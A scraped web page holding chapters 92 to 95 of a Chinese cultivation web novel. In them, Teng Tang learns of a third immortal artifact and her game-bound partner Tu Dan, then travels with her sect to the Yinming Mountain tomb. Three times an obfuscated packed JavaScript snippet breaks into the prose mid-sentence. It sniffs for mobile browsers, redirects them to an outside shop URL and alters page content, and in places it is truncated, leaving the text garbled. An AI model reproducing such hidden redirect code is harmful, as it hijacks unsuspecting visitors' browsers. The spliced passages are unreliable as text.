滕棠不得不确认此事,让李偲缨拿出影灵石放于对面,自己一会儿进入游戏一会儿退出游戏。 当她观看完影灵石上的记录,整个人都不好了。 以后一定要躲着人打开游戏!或者只在游戏界面待几秒!这么痴傻的表情,她一想到被人看见过,便觉得好难堪…… “师父?师父?” 李偲缨将滕棠摇醒,将手中的传音石递出去,说起要事:“对了,方才大长老传音,说百门大比推迟了。我说那只灵鸟怎么那么熟悉,原来是百门盟专门养的讯鸟,用于传递门派之间公开的大事,它额上……” “推迟了?为何推迟?”滕棠刚发出疑问,便听见系统的提示音。 李偲缨见她不听传音石,想听自己说,兴奋地道:“据说天央大陆西北方位,阴鸣山的仙墓又有开启的迹象,如今各大门派都在做准备,欲前往那里找寻机缘,百门大比自然就推迟了。” 滕棠不担心被李偲缨笑话,整个人又变得痴傻无比,在脑子里查看新活动预告。 [雄霸天下]还没结束,就有新活动接踵而至,这让她忐忑不安。 这个修真界怎么如此不安稳?她实力不算高强,每次去完成活动任务,都如同闯鬼门关。 目前为止,就[雄霸天下]这个活动没什么危险性,她最多挑战不敌,受到重伤。而其他活动,简直要命…… [全新活动“雪域闯关”即将开启!进入活动地图,消解盛夏暑气,过关可获得丰厚奖励!] [尊敬的玩家,系统将于……] …… 活动预告一如既往,透露的信息不多,最有用的是时间和地点。 滕棠粗略看完,退出来,继续和李偲缨聊,没忘记自己的主线任务。 反正雪域闯关活动还没开启,她不用急,该来的总会来,当下应该和李偲缨聊天,让她说出第三件和第四件仙器的下落。 升到三十级后,等级难升,她目前没有高级怪打,唯有做剧情任务才能获得大量经验值,提高自己的实力。 滕棠沉吟一会儿,问旁边又拿起灵果吃的李偲缨:“徒弟,你有没有什么话想对我说?比如仙器相关的。” “想对师父说的话多着呢……”李偲缨抓着果子啃,手上全是浅色的汁水。她一点不在意,邋里邋遢地用袖子擦,懒到不愿意掐仅十七个指法的净身诀。 “……”滕棠坐远了些,无奈道:“那你少说点,重点说仙器相关的。” “师父问哪件仙器?”李偲缨脑子里立马浮现一个漂亮王冠,那个所有人都没见过的仙器:“珊瑚王冠?” “师父这个问题太难了,我没见过珊瑚王冠。在珊瑚秘境被雷劫击碎前,我就被二长老打晕,后面到底发生了什么事,我也是听别人谈。” 滕棠沉默了须臾,将主线剧情任务复习一遍,注意到“不经意间”四个字。 许是自己这般问,太刻意了,所以任务没有显示正在进行。 想让李偲缨不经意间说出第三件、第四件仙器的线索,应该怎么跟她聊呢? 滕棠有些头疼,只好尝试着道:“徒儿,你给我随便讲些事吧,就讲你想讲的。” 在李偲缨开口之前,她提醒道:“尽量精简一些,鸡毛蒜皮的小事就不用说了。” “师父真为难我,明知道我有好多话想和你说。” 李偲缨嘴上埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032751|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨,心里高兴得不行,把嘴里的果肉囫囵吞下,急不可耐地道:“师父,我感觉我又要突破了,前些天我明明……” 李偲缨的嘴开开合合,说了不少无聊的事。滕棠一直听着,没有打断她,心里感慨,自己的徒弟确实不太聪明。 她都让李偲缨捡重点说,李偲缨还是跟她聊得详细,某年某月某日在某处干了某些事,天真烂漫地在跟她念日记。 有那么几个瞬间,她觉得自己是李偲缨的娘,听着女儿在跟前傻呵呵地讲,最近做了些什么有趣的事,而这个“有趣”是对于孩子来说,对大人来讲,这些事乏味得很。 没听见系统的提示声,滕棠忍不住打开[剧情任务],果不然,主线任务并没有变化。李偲缨现在聊的,和任务剧情毫不相干。 她赶紧叫停,引导式地问李偲缨,希望能触发剧情:“除了这几件事没别的了?你最近有没有去什么地方?见到什么人?听说珊瑚王冠以外的仙器?” 李偲缨虽然话唠,但都是想到什么说什么,被滕棠不停追问,不免卡住,脑袋一片空白,什么都没想起来。 看她支支吾吾说不出话的样子,滕棠转瞬明白,此事不能干预:“额,你忘掉我的问题,接着之前的话说吧,你方才讲到三年前的某个寒冬,在无涯宗找到一处温泉池。” 说完,滕棠特意拿起榜册,重新翻开看,注意力不在纸上,而在右耳朵上,等待李偲缨继续聊那些有的没的。 她停止咄咄追问后,李偲缨果然放松不少,开心地给她讲鸡毛蒜皮的小事。 约莫一刻钟后,李偲缨忽然一拍桌子,激动地说:“对了,师父,我三年前认识了一个男修,他长得跟天上神仙似的,好看极了!” [叮],滕棠终于听见系统提示音,心里如释重负。再多听些李偲缨的废话,她右耳朵保不准会聋掉,此刻已经开始嗡鸣…… 可能是这个任务太过简单,完成后只奖励了些经验值,没有奖励基础数值翻倍卡。 滕棠未觉得失望,心道有奖励总比什么都没有好。 她放下榜册,饶有兴致地问李偲缨:“你这是看上哪位公子了?” 李偲缨顿时忸怩起来:“没有没有,他那么薄情的人,即使我落花有意,奈何他这流水无情啊……” 她这幅作态,弄得滕棠愈发好奇,什么样的男子能让李偲缨害羞? “他虽薄情,性子比我还冰冷,但心地很好。” 李偲缨伸手转动储物戒,取出一块晶莹剔透的冰蓝玉佩。 玉佩弯弯的,呈月牙形态,看起来有些可爱。滕棠想捡起来观赏,却被李偲缨阻止。 “师父,此乃至寒之物,碰不得。这就是当初在仙墓之中,我和龙傲天争抢的宝物。” 滕棠还未触碰,就感受到强烈的寒气,冻得她脸部皮肤绷紧。 她当即缩回手,听李偲缨在旁边道:“也是在那日,我遇到了屠丹,他和我联手,才抢到这玉佩。” “当时我和他都受了重伤,要不是师父赠予我许多仙丹,我们二人服下后即刻好转,否则很难逃脱龙傲天与李谡的追杀。” “屠丹。”滕棠觉得这个名字很耳熟,便小声重复了一遍。 似乎和自己某个伙伴的姓名同音? 93. 第 93 章 想到这儿,她连忙运转水灵根,在食指上聚灵力化为水,于石桌表面写下两个字,问李偲缨:“屠丹,是这两个字么?” 李偲缨盯着水痕看,连连点头:“对对,是这两个字!师父怎么知晓的?莫非你们认识?” 她嘴里吧啦吧啦说个不停:“我们成为友人之后,他总向我问起你,弄得我伤心不已。我一直跟他说,我师父死了,再也回不来了,师父死在……” “呸!我没死,活得好好的呢。” 滕棠甩出指尖剩余的水,封住她晦气的嘴巴,随后疑惑地问:“他打听我做什么?你经常跟他聊我的事么?” “我也不知道,我从不与人谈师父您,您死后,我一直很伤心。” 见师父翘起手指,又要封自己的嘴,李偲缨连忙转移话题,猜测道:“估计是因为屠丹吃过师父的丹药,好奇这些仙丹吧。” “你就不怕他惦记上你的丹药,对你出手?” 滕棠在珊瑚秘境时,买了不少丹药给李偲缨,其中不乏高级疗伤药、血肉增强液、高级回灵丹,随便拿出去一瓶,都能让无数修者眼红。 她曾经嘱咐过李偲缨,千万不要告诉别人这些丹药有多好,否则容易招来祸患。 李偲缨把头摇成拨浪鼓:“师父放心,屠丹绝对是个好人,时常安慰我说‘你师父没死,只是失踪罢了,以后会回来的’。且他知晓我有多少仙丹,从未动过歪心思。” “这样就好……” 滕棠把目光重新放回月牙玉佩上,点开其上方的标识:[半壁凌雪玉佩,低等仙器。(只有一半的情况下,无法使用凌雪仙剑,与灵肉、灵植放在一起,可以增加储存年份。)] 这竟然是个仙器!滕棠仿佛抓到线索,连忙问:“你这玉佩是从哪里得来的?” “阴鸣山仙墓,三年前开启了一段时间,没多久就关闭了,所有修者皆所获不多。这块玉佩我觉得没什么用,但屠丹说好,说很适合我的至寒神体,戴在身上对修行有益。” 玉佩不仔细瞧,根本看不出来这是件仙器。 李偲缨得到它之后,发现玉佩散发的寒气太强,容易误伤他人,于是一直将其放在储物戒中,不常带在身上。 阴鸣山仙墓?刚刚她问李偲缨百门大比为何推迟,对方好像说的是“阴鸣山仙墓又有开启的迹象”,而新活动[雪域闯关]的地点,似乎也在阴鸣山…… 正当滕棠在确认活动地点的时候,脑袋里忽然响起[叮]的声音。 她关闭公告,打开[剧情任务],发现主线任务变了,有了新的文字。 [据闻,集齐十二仙器,能成为世上至强修者,一夜飞升。你发现了第三件仙器,十二仙器之一——凌雪玉佩,决定踏上寻宝之路,去寻找第四件仙器,点击前往‘阴鸣山仙墓’。▽] 这个任务的末尾,依旧没有倒计时,完成后仅奖励经验值。 修行院不常有人来,今日突然御剑飞来一位灰衣杂役,叩响正门后,朝里面道:“滕师姐、李师姐,二长老叫你们去狂央山。” 李偲缨知晓她是祁长兰身边的杂役,应了声“好”,之后才发现自己的传音石有动静。 她捡起石头贴在额头上,听完里面的传音,蹙眉道:“这次去仙墓,大长老一点都不重视,竟只派二长老和几名核心弟子去。” 滕棠理解大长老的做法,起身道:“毕竟你方才说,上次仙墓开启,所有人都没什么收获,大长老不抱希望是正常的。且内门比试还未结束,分不出更多的人手。” 下午的金乌偏橙色,滕棠扫了一眼地上的影子,估摸此刻在申时左右。 她踏上自己花里胡哨的灵刀,转身对李偲缨说:“我们快走吧,既然二长老派人过来提醒,便说明她已经在那里等着了。” 李偲缨踏空跟上,在她后方道:“阴鸣山仙墓里肯定有许多宝贝,屠丹和我说过,那个仙墓不一般……” 二人很快飞到狂刀门中间,落在狂央山上。 正如滕棠所料,二长老祁长兰已经在此处等候,等了约莫一盏茶的时间。 祁长兰身边站着几名弟子,大多是跟随她多年的徒弟,只有一位是大长老的徒弟。 因为上午切磋的事,滕棠见了她,面上不免尴尬。 祁长兰没有正眼瞧滕傲天,走过来抓着李偲缨的手,亲切地道:“大长老让我带弟子去阴鸣山,幸好此行有你在。既然你和滕傲天交好,大长老与掌门几次恳托我,那我便不计前嫌,饶她一次。” 滕棠在旁边听得十分别扭,本欲说点什么,但考虑到大家去寻宝,应该和谐友爱,自己这会儿发言容易激发矛盾,闹得不愉快,于是作罢。 “二长老!” 怎奈李偲缨身为徒弟,听不得这些。她自是站在她师父这边,不能让二长老辱没了师父。 “今日上午,我亲眼所见,库笃师弟与韩建善师弟受伤,完全是他们咎由自取!我师父那般厉害,岂会把他们放在眼里、针对他们,暗里使阴招?” “你师父?”祁长兰先是不解,松开她的手,乜了眼旁边的滕傲天,忽而脸色一僵。 “滕傲天……滕棠……”她念着两个名字,恍然大悟。 祁长兰一直心有疑惑,为何滕傲天看起来这么眼熟。今日才忆起,滕傲天是珊瑚秘境中的那位女子,那个把李偲缨骗去当徒弟的五灵根女修! 她怎么会忘记了呢?这世上,五灵根修者比单灵根修者还稀少,其中有几个筑基成功的?她这一生就见过一个…… “你是那个滕棠!没想到是你,你不仅筑基了,还结丹了?” 祁长兰终于舍得移动她的目珠,将视线放在滕傲天身上:“你是怎么活下来的?你分明被那人鱼族长扔进灵魂宝石,应该死了。” “我师父只是消失了,她没有死,二长老你总算信我了吧?我师父绝不是骗子!” 李偲缨一直对祁长兰没什么好感,但碍于曾经被救的恩情在,她不得不帮祁长兰做许多事,对其尊崇敬重。 她意识到自己语气有些不好,立马缓和下来,一脸认真地说:“二长老,当时,那个处在灵魂宝石上方的男子,并非人鱼族长,其实是我师父的友人。他送我师父进入宝石内,肯定另有其意,不是为了害我师父。” 这会儿,祁长兰明白了,滕傲天真的不是滕傲天,而是十年前那个滕棠。 “哼,此事我与刘仁、刘慈同你讲述多次,你怎如此固执,偏信滕棠一人之言?” 祁长兰转头,面色复杂地看了一眼滕棠,感慨一句:“你真是命大,在里面不仅没死,还得到机缘突破至金丹期。” 滕棠站在旁边,听得脑筋拧了两圈,大致明白她们二人对当时的事情经过有不同的猜想、不同的观点。 她不知该回什么话,十年前的状况很复杂,现在解释起来,一时半会儿说不明白,且祁长兰不一定会信。 谁敢信她不仅在人鱼墓海中活下来,还在天道手中活了下来? 不,有一人可能会信,她那傻白甜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032752|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徒弟——李偲缨。到现在,李偲缨还把她当神仙看,觉得自己拜了个大能师父。 眼瞅着气氛不对,大长老派来的徒弟简英纵谨记师父的叮嘱,走过来插话道:“二长老,两位师姐,时候不早了,我们该出发了。” 祁长兰每次看到简英纵,都会想起自己许下的承诺。 既然她答应大长老,会好好带领弟子寻宝,完整地去、完整地归来,不去计较上午的仇怨,那此时就不该提与滕棠相关的事。 “嗯,我们走吧。”她越过滕棠,在空中放置灵舟,率先飞了上去。 二长老的五名徒弟紧随其后,其中一名负责掌舵,剩余四名席地盘坐。他们偶尔好奇地望向滕棠,很想与大师姐交流,但碍于师父在,不好开口。 滕棠踏上灵舟,发现祁长兰待在舟头,并不往这儿看,只时不时叫李偲缨过去说话,她略微松了口气。 未来要和祁长兰共处好一段时日,两人要是吵闹不休,每天都是度日如年,可能还没到阴鸣山仙墓,她就身心俱疲。 李偲缨没和祁长兰聊两句,就回来了,一屁股坐在她身边,小声嘀咕:“二长老为何不喜欢师父?我师父这么厉害,她竟然觉得师父是骗子。” 滕棠安抚她:“无事,每十个人里,总有一两个喜欢你,一两个讨厌你,剩下几个对你既不喜欢也不讨厌。与其在意这些,不如同我一起打坐。” 李偲缨想通了些,抬头看看天色,夕阳斜下,暮色已至。 她瞬间倒在滕棠身旁,有些撒娇意味地说:“师父我不想修炼,我天赋很好,睡觉也能涨修为。” “……”滕棠的心被狠狠扎了一刀,不再理会她,自个儿闭目修行起来。 阴鸣山在天央大陆的西北尽头,而狂刀门在大陆的西端,算起来,狂刀门在百门之中算是离得近的门派。 奈何狂刀门不够有钱,向九炼宗买的灵舟品阶很低,飞行速度异常缓慢,所以在其他门派还没出发的时候,他们已经提早飞行了一夜。 日上竿头,李偲缨打了个哈欠,懒散地躺在滕棠身边,拿着一本传说在读。 周围人都在打坐修行,唯她舒适轻松,不用苦修也能突破层级。 到了午时,金乌直晒,阳光刺眼,她整个人热得不行,仿佛从水里捞出来一般,浑身是汗,手里的书都握湿了。 “最讨厌长夏了。”李偲缨抱怨道。 她皮肤狂出汗,身上冒的冷气却让大家觉得凉快,皆忍不住靠近她。 狂刀门的灵舟确实有些简陋,连个遮挡的船舫都没有,滕棠晒了会儿也觉得热,恨不得与李偲缨抱在一起,享受这个人形制冷器带来的凉爽。 “师父你离我这么近,不怕被我的汗水打湿衣裳么?”李偲缨关切地问。 滕棠摇摇头,任白烟寒气吹拂自己的身体,比那些在金乌底下直晒的弟子惬意不少。 李偲缨热得坐立不安,过了一会儿,她取出储物戒中的传音石,小声对师父说:“这次仙墓之行,肯定能遇到屠丹,他一直在等仙墓重新开启。” 滕棠听见这话,中止修行,睁开双眼望向她。 李偲缨把传音石贴于额头上,不知在和屠丹说什么,许久都没放下来。 等她摘下传音石,滕棠连忙问:“你跟他说了什么?” 李偲缨撅起嘴,抱怨道:“屠丹性子冷得很,爱答不理的,也只有我愿意和他交谈。他这人怎么这样,每次都是我主动找他,他都不找我,到底有没有将我当作生死好友?” 94. 第 94 章 “性子冷淡罢了,不是坏人就好。屠丹既然对你爱答不理,你何必缠着他。小心招嫌,弄出矛盾来。” 在和人打交道这方面,滕棠也不擅长,只知道聊不到一起的人,不必执着结交。 李偲缨垮着脸,衣衫完全被汗水打湿:“谁叫师父消失了十年,让我孤苦伶仃的在这人世间,一直找不到一个说话的人。我见屠丹相貌俊气、实力高强,不像其他修者充满世俗的欲望,才有事无事就找他说话。我与他相识不久,他应该还没有嫌我烦。” 滕棠很不信她后半句话,自己跟李偲缨相处几个时辰就烦了,莫说被扰了三年的屠丹。 她很怀疑,屠丹之所以对李偲缨爱答不理,就是因为李偲缨话太多、太密了,一开口便说个不停,还总爱炫耀自己的天赋与神体。 开口闭口皆是自己如何如何的人,事无巨细地说上几个时辰,谁都受不了吧。 “徒弟,你啰嗦也就罢了,还有点臭屁,想要和许多人做朋友的话,一定要在这方面收敛收敛。” 滕棠直白地说完后,忽然沉默。 李偲缨没什么朋友,她何尝不是。来这个世界小半年了,涉足两个大陆,见过的修者不少,她聊得最多的却只有两位,一位是惯爱惹她生气的付岚山,还有一位是身边爱说废话的李偲缨。 “算了。”李偲缨思考一番,将手中书籍重新展开。 她懒散地躺在滕棠身边,嘟囔道:“我不交道友了。结交道友太麻烦了,道行越高的修者,越不好相处。师父不知道,无涯宗那山巅上打坐的全是石头人,你跟他们说上半天都得不到回应。我还是跟在师父身边,缠着师父说话吧,其他人即使我有心去结交,他们也不会搭理,大多跟屠丹一样,冷冷的,非常无趣。” 听完这话,滕棠很是感同身受:“确是如此,清心寡欲、枯燥无味地修行,日子一久,情感容易淡薄。” 对比上一辈子,这个世界的人更没人伦性情,绝大多数人一心修炼成仙,百年、千年过得味同嚼蜡,快把自己修炼成了石头。她虽然也沉迷修仙,但绝不想变成此类无情无欲之人,把自己的人性给修没。 两人有一搭没一搭地聊着,基本是李偲缨在说,滕棠偶尔回一句。 李偲缨谈得最多的还是屠丹,可能因为此行前往阴鸣山仙墓,会见到那人,她不停说着这三年和屠丹相处的趣事。 她说得多了,滕棠便对屠丹有了个粗浅的印象。 滕棠渐渐走神,一边缓慢地淬炼灵体,不忘自己的修行,一边打开自己的伙伴栏,想再看一下屠丹的信息。 界面上有五个伙伴,[屠丹]、[杀浮]、[万象]、[江海]、[石北星]。 这五位伙伴,她只召唤过杀浮和万象,其余三个倒霉蛋,她连长什么样都不知晓。 看到[石北星]三个字,滕棠一阵伤感,尤其被那个“星”字触碰到内心深处。这第五个位置原本属于醉星子…… 她感觉自己以后见到“星”字就会ptsd,想到的不是满天星子,而是穿着深蓝衣纱、拥有一头波浪卷发的俊美男子。 那人挡在自己身前,抗下天道指落的粗蟒紫雷,魂飞魄散,再也回不来…… 凌云、云令、醉星子皆为救自己而死,岑羽被龙傲天杀死……如果可以,她真的不想绑定伙伴,连累无辜之人。 滕棠伤感了好一会儿,怕自己深陷悲伤的情绪,困在难过的回忆里走不出来,她没有在伙伴界面多待,挨个看完信息,便快速退出界面。 为确认自己的伙伴屠丹,就是李偲缨口中那位友人,她打断李偲缨絮絮叨叨的话,问:“你认识的这位屠丹道友,他实力如何?灵根天赋如何?” 名字一样,不一定是同一个人。 犹记得,最初绑定屠丹的时候,问号下方显示的[33级],即元婴三层。如今再看,十年过去,屠丹下方的等级变成了[49级],出窍九层,此人一定极有天赋。 叫这个名字,还有如此天赋实力的,恐怕找不到第二位。 “出窍八层……不。”李偲缨思索了一会儿,不确定地说:“他应该已经出窍九层了,上次见屠丹,他身上的灵力已有突破的波动。他单金灵根,在炼器方面非常有天赋,师父你不知道……” 单金灵根、出窍九层,那就对了,李偲缨认识的这位屠丹,百分之九十九是系统早期给自己绑定的倒霉蛋。 哎,要是遇见了对方,该怎么说呢…… 滕棠忽然纠结,心想要不然避开,别见面了。 她和屠丹一相遇,对方铁定能感应到生死契的存在,然后发现她就是那个结契之人,那个罪该万死、妄图以命要挟别人卖命的无赖。 她不怕屠丹厌恶臭骂自身,只怕对方连带着恨上李偲缨,让李偲缨难过。 她看得出,自己的徒弟很喜欢屠丹,聊起屠丹时情绪高涨。万一这份喜欢藏着爱慕,两人有什么爱情火花,自己的生死契岂不成了阻碍? 要是不见面、自己一直没死的话,就没有那么多问题,一切如旧。 滕棠忽然产生了逃避心理,开始祈祷,在仙墓中不要遇到屠丹,不要让对方发现生死契是自己结的。 她刚祈祷完,就听见李偲缨说:“师父,屠丹还没回我话。要是他愿意来找我,把九炼宗的寻宝图给我们一份,我们此行必有所获。” 李偲缨手里的书,展开了半天,还处在那一页,一直没有翻动过。 她越是提及屠丹,滕棠越觉得他俩有问题。 阴鸣山仙墓开启过两次,每个门派都有自己的寻宝图,大门派的寻宝图比小门派的精确详细,可以说是寻找珍宝的指南针。这么重要的东西,弟子拿出去给其他门派,便是叛门,轻则上受戒台,重则废除修为与灵根,被逐出门派…… 滕棠想到此处,便说了出来:“九炼宗那么大一个门派,屠丹作为核心弟子,怎么可能给你寻宝图。且他此行跟着九炼宗的长老,不可能随意行动。” 李偲缨热得精神不济,兴致却很高昂。 她将湿淋淋的书收回储物戒,和滕棠解释:“屠丹不一样,他对九炼宗并不忠心,他的心思只有我知道。至于单独行动,他在核心弟子中位列前茅,向来喜欢独处,他要想私自行动,九炼宗的长老不会管他,上次就是这样,屠丹从头至尾都没和九炼宗的人待在一起……” 滕棠难免生起些许八卦之心,在李偲缨还没解释完的时候,插话问:“就算他对九炼宗不忠,喜欢单独行动,也没必要来找你吧。你怎么确定他会来找你?还给你九炼宗的寻宝图?你不是说他对你爱答不理的。” 李偲缨忽然狡黠一笑,半掩着嘴道:“因为我刚才用传音石跟他说师父您回来了,我经常跟他说我师父是仙人下凡,他对师父您这么感兴趣,又吃过师父的仙丹,肯定会心生好奇来见您一面,到时候我们用几枚仙丹换他寻宝图,他怎么会不愿意呢。” 在滕棠怔怔无言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李偲缨连忙道:“我和屠丹交易了什么,肯定不会告诉二长老和其余弟子,他们只当我和屠丹相熟,见了一面,聊了会儿话,不会仔细询问,不会泄露师父的身份和师父拥有仙丹这件事。到时候寻宝,我就说上次我走失,发现某处有灵宝的波动,我们去那处瞧瞧,二长老他们高兴还来不及……” “我知道。”滕棠打断她,说出自己的另一个顾虑:“无论如何,谨慎小心一些总没错,万一屠丹没你想象中那么不忠心,得知你想要寻宝图,把此事告诉了九炼宗的人,你会有危险。” 滕棠坚持己见,让她独自和屠丹见面,却不说真正的缘由。 两人在飞舟角落嘀嘀咕咕,说了好一阵子。 当滕棠闭上双目,开始修行,李偲缨就知道她师父不想听了,只好撅起嘴巴,将储物戒中的书重新拿出来,躺在师父身边默无声息地看,时不时叫一句:“师父你理理我,我好无聊……” 狂刀门的飞舟,飞行速度异常缓慢。狂刀门离阴鸣山非常近,他们比别的门派更早出发,却到得比其他门派更晚。 飞行过程中,大家眼睁睁地看着好几艘飞舟从附近飞过,将众人甩在身后。 在第三日,慢悠悠的飞舟才抵至阴鸣山山脉外围,慢其他门派好几个时辰。 一靠近阴鸣山脉,蓝天瞬间阴暗下来。 夏季的炙热消散,取而代之的是阵阵冷风,吹拂每个人的身体,让大家冷得冒出鸡皮疙瘩。 衣摆与袖子在风中猎猎作响,除这个声音外,滕棠还听见了诡异的长鸣。 那尖锐的鸣叫时不时响起一阵,拉得很长,一如底下纵向绵延的山脉,听好一会儿才听得见尽头。 深入阴鸣山脉之后,声音越来越清晰,听着不似鹰啼鸟嘹,更像是兵器相碰所发出的玎玎清鸣。 滕棠无心打坐,起身走至飞舟边缘,朝阴鸣山脉望去。 目之所及,俱是晦暗的森林、灰色的雾气,拥挤得找不到光明的缝隙。 滕棠见过雾蓝秘境的白雾、毒雾,却没见过灰棕色的雾,一大团一大团漫延在山脉两侧,像地府冥河,颜色深得诡异。 95. 第 95 章 飞舟越过几重山,在阴冷的强风之下,速度又慢了些许。 进入阴鸣山后,空气不再炎热,整个世界灰了几度。 滕棠仰头,发觉天空不知何时积累起厚厚的乌云,将烈日遮蔽在后方,完全看不见光芒、感受不到炽热。 李偲缨见师父不打坐修行了,立马合上手中书籍,起身走到师父身旁。她嘴角微微上扬,开始滔滔不绝地讲与阴鸣山相关的奇闻异事,言谈举止充满了热情与活力。 李偲缨相貌长得凛若霜雪,浑身的冷气与这方天地极为契合,但性格与长相天差地别,待在她师父身旁时,总有说不完的话。 本来在讲那些传说怪事,讲着讲着,她忽然停顿,兴致勃勃地指向西北方位:“师父,仙墓在那边,估摸还有一炷香时间就到了。” 滕棠顺着她手指方向望去,远处的山峦晦暗不明,天空灰如酉时三刻。云层乌泱泱地往那边滚动,似被什么吸了过去,隐约形成巨大的漩涡。 “师父觉得冷么?阴鸣山之所以这么冷,是因为它位于天央大陆最西北的位置,阴鸣山往北是鬼海,过鬼海是魔族的地盘——冥无大陆。师父你知道万年前的灵魔大战么?万年前……” 滕棠站在飞舟边缘静静聆听,听了半晌,没听出什么关键与要点。 自己的徒弟还没讲完奇闻怪谈、阴鸣山寒冷的原因,以及万年前的灵魔大战怎么回事,便开始废话一堆,叙说着她以往的经历,比如她和屠丹在仙墓中初见的情形、龙傲天有多讨厌…… 滕棠无奈,不明白李偲缨说话为何这么容易跑偏,总是想到什么说什么,前后毫无逻辑。 她沉默地站着,将徒弟的话当做耳旁风,一字未听进去。 观察着阴鸣山的连绵高山与厚重灰雾,滕棠偶尔点开某个黑色的标识,查看其详细信息。 [气巨草:魔植,305生长年份,蕴含大量魔气,可用于炼药炼丹,适合炼气期、筑基期魔人服用,服下后能快速回复丹田魔力。] [阴鸣魔石:低级奇石,规格超级大,可用来炼制打造下等魔器。] …… 渐渐地,滕棠自己弄明白了阴鸣山寒冷的缘由,以及此处为何看起来这般诡异。 底下的草木山石与她以往所见截然不同,以往的山水被灵气笼罩,景致如画、风月无边,而这里的一草一木经受着魔气的浸染,已变成魔物,土石千岩万壑,草木蠖屈螭盘,魔气凝结显化,也不怪这片地带看起来诡谲离奇。 修炼灵力的人,对灵气很敏感,对魔气则不然。当天地力量反向游动,化作魔气,灵修置身其中,只觉得冷,不仔细观察的话,很难发觉空中力量的变化。 滕棠要不是有万物识别系统,恐怕许久都意识不到,这片天地蕴含着大量的魔气…… “难怪,难怪我觉得灵力游动方向古怪,总是抓不住,引灵入体变难了。”滕棠低声喃喃,伸出食指,悄然将一丝稀薄的灵力吸入体内。 她来这个世界仅半年时光,原身的记忆对她没有帮助并且早就消失了。 没有师父教导、没有经过系统学习,她对很多事物一无所知。飞舟上的众人都知晓这阴鸣山怎么回事,无一人惊讶此处的寒冷,把魔气当做常识,她却要思索一番,结合自己的所见所闻,将这些常识猜测出来。 犹记得,当初在鹿焰宗藏书阁中借书,她于某本书上读到过:灵气可转换为魔气,魔气亦可转换为灵气,只需将力量反向调动,阴阳互换…… 滕棠的食指上引来一丝浓郁的魔气,魔气反向盘旋半秒,忽然变成了她灵体所需的力量,钻入体内,融于丹田源泉。 耳边不断响起李偲缨的说话声,滕棠盯着自己的食指思索,此次仙墓之行,或许比自己想象中容易。 要是遇到实力强的对手,对方需要先耗费时间与精力,把魔气转为灵气纳入体内,再调出来为自身所用,而她则不需要这些步骤,可以直接使用灵力储存条,快速调动大量灵力,对战起来不会那么吃亏。 滕棠安心几分,虽然暂且不知新活动的任务是什么,但肯定需要自己打斗、对战,毕竟这次的新活动叫[雪域闯关]。 “滕棠,滕棠。” 在滕棠收起食指不久,付岚山突然探出头来,眼巴巴地望着她:“我的新壳子呢?” 他不说这件事,滕棠都快忘了,连忙发起呆,查看[雄霸天下]的奖励。 须臾之后,她退出来,点点半透明的蛇头:“快了,等进入仙墓后,我就给你。” [雄霸天下]的活动奖励,不像其他活动那样即时领取,必须等活动结束,才会通过邮件形式,发放到玩家手中。 李偲缨没见过付岚山,当她瞟向自家师父时,吓了一跳:“呀!这什么鬼东西!” 她后退半步,忍不住向滕棠的腹部发起攻击,掷出一根携带精神力的冰棱,大喊道:“师父你身上有条鬼虫子!” “等等……” 要不是滕棠眼疾手快,即刻将付岚山拍回丹田,或许又得花费大量灵力给付岚山蕴养神魂。 滕棠躲开冰棱,快速解释:“李偲缨,这是我的灵宠,它只是没了肉身,加上本体为地蛟蛇,所以看起来黑不溜秋的,像条鬼虫子。” 李偲缨停下手,隐约想起一只光彩熠熠的灵猫,不解地问:“我在珊瑚秘境时,偶尔睁过两次眼,看见一只彩色灵猫,刘仁刘慈也说过,师父身边有只灵猫。师父的灵宠不是猫吗?何时收了一条蛇?” 付岚山缠在滕棠灵根上瑟瑟发抖,在里头闷声道:“那猫就是我,我本体毁了,借用过那具猫壳子。李偲缨你怎么这样!亏我在白骨圣殿外边照看过你,将你藏在珊瑚和鱼骨之下,免得被人觊觎。你不记得我就算了,你竟然不问清楚,就想打我!” 滕棠想插话,却发现插不进去,一阵叹气。 “原来你就是那只猫?”李偲缨忙道歉:“抱歉,对不住。” 而后滔滔不绝地开始解释:“你怎么待在里面不出声呢?之前也没出来过,你不说我怎么知道你的存在、你是谁。阴鸣山靠近鬼海,鬼海聚集了不少冤魂鬼气,有诸多厉鬼凶煞,你长这么黑,又无本体,趴在我师父身上,我当然会把你当做附身鬼虫子,将你灭掉。我师父对我来说……” “你竟然说我是虫子!” 付岚山从来没受到过这样的奇耻大辱,怒骂道:“你眼睛喂狗了吗?我这么像蛟龙,哪里像虫子?你说我是鬼,你才像鬼!当初那死尸样,可没把我吓死,你个丑八怪……” 一人一蛇,你一句我一句,谁都不肯闭上自己的嘴,互相怒骂,越说越难听。 滕棠心烦,刚要用精神力堵住蛇嘴、用灵力捂住李偲缨的嘴,那边二长老突然飞身过来,喊道:“吵什么吵!” 祁长兰不喜滕棠,但对李偲缨很是喜爱。 她侧过身,用姿势偏袒着李偲缨,对滕棠道:“叫你丹田中的蛇魂安静点,若不然,丢下飞舟,自行前往仙墓。” 滕棠不好说什么,大家都安安静静的,唯独自己这儿有些吵闹。 